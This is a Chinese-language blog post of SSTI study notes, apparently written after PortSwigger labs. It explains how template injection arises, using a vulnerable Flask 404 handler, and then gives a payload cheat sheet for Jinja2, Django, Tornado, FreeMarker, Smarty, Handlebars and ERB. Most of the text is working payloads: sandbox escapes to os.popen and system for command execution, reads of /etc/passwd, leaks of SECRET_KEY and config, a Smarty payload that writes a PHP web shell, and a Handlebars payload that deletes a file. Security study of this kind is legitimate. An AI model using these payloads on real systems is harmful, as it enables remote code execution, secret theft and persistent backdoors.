ssti


ssti

我之前在做了幾道題之后寫了一篇只包含python環境的ssti的總結,后來刷portswigger lab的時候才發覺自己先入為主了,所以決定重新寫一篇。

因本人技術淺薄,只對見過的幾個模板做簡單介紹,如果想看有深度的文章,可以直接去看參考里的最后一個。

ssti不僅僅存在於python中

ssti成因

服務端在接收用戶輸入或用戶可控參數后,未作處理或未進行嚴格過濾,直接嵌入模板渲染,導致執行惡意代碼。

拿python-jinja2舉個例子吧

@app.route('/')
def hello_world():
  return 'Hello World!'

@app.errorhandler(404)
def page_not_found(e):
  template = '''
    <div class="center-content error">
    <h1>%s Not Found!</h1>
    </div>

    ''' % (request.url)
  return render_template_string(template), 404

if __name__ == '__main__':
  app.run()

在這段代碼中:

​ 如果請求的url不存在,會返回404頁面

​ 404頁面的內容模板template包含request.url

​ 返回時調用了render_template_string(template)函數,而這個函數會調用jinja2模板引擎對template進行渲染,如果request.url中含有模板語句,將 會執行、渲染,然后返回

​ 但這個例子有特殊性,在該環境下要想利用ssti,必須要有%格式化字符串,就是template='''xxxxx'''%(request.url)這一部分,如果把template部分寫 成了單獨的html文件,那么將無法實現

例如:

  • 請求:xxxx.xxx/{{ 10*10 }}
  • 返回:xxxx.xxx/{{ 100 }} Not Found!

ssti利用思路

  • 確定模板引擎
    • 修改參數,看報錯信息
    • 看模板語法
  • 根據引擎尋找/構造payload
    • 構造payload的思路
      • 尋找可用對象(比如字符串、字典,或者已給出的對象)
      • 通過可用對象尋找原生對象(object)
      • 利用原生對象實例化目標對象(比如os)
      • 執行代碼
  • 如果手工有困難,或者工作量比較大,可用使用tqlmap代替

ssti-payload

1-python

  • fuzz
    • {{6*6}}

flask(jinja2)

  • 查看文件夾

    • {{''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].listdir('./')}}這里的./是路徑
  • 讀取文件

    • {{''.__class__.__mro__[-1].__subclasses__()[40]('filename').read()}}

    • ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

    • request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')

  • RCE

    • object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
  • 查看配置項

    • {{ url_for.__globals__['current_app'].config['FLAG']}
  • bypass

django

  • 查看配置項
    • {{settings}} (settings.SECRET_KEY)
    • {{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}}

tornado

  • 查看設置常量
    • {{handler.settings}}
  • RCE
    • {{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals['linecache'].os.popen('ls').read() }}

2-java

freemarker

  • RCE
    • <#assign test="freemarker.template.utility.Execute"?new()> ${test("ls")}
  • 沙盒逃逸+ 文件讀取
    • ${object.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}

3-php

smarty

  • 讀取文件
    • {self::getStreamVariable("file:///proc/self/loginuid")}
  • 寫入文件
    • {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

4-javascript

handlebars

  • RCE

    • {{#with "s" as |string|}}
        {{#with "e"}}
          {{#with split as |conslist|}}
            {{this.pop}}
            {{this.push (lookup string.sub "constructor")}}
            {{this.pop}}
            {{#with string.split as |codelist|}}
              {{this.pop}}
              {{this.push "return require('child_process').exec('rm morale.txt');"}}
              {{this.pop}}
              {{#each conslist}}
                {{#with (string.sub.apply 0 codelist)}}
                  {{this}}
                {{/with}}
              {{/each}}
            {{/with}}
          {{/with}}
        {{/with}}
      {{/with}}
      

5-Ruby

ERB

  • RCE
    • <%= exec 'ls' %>

參考


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM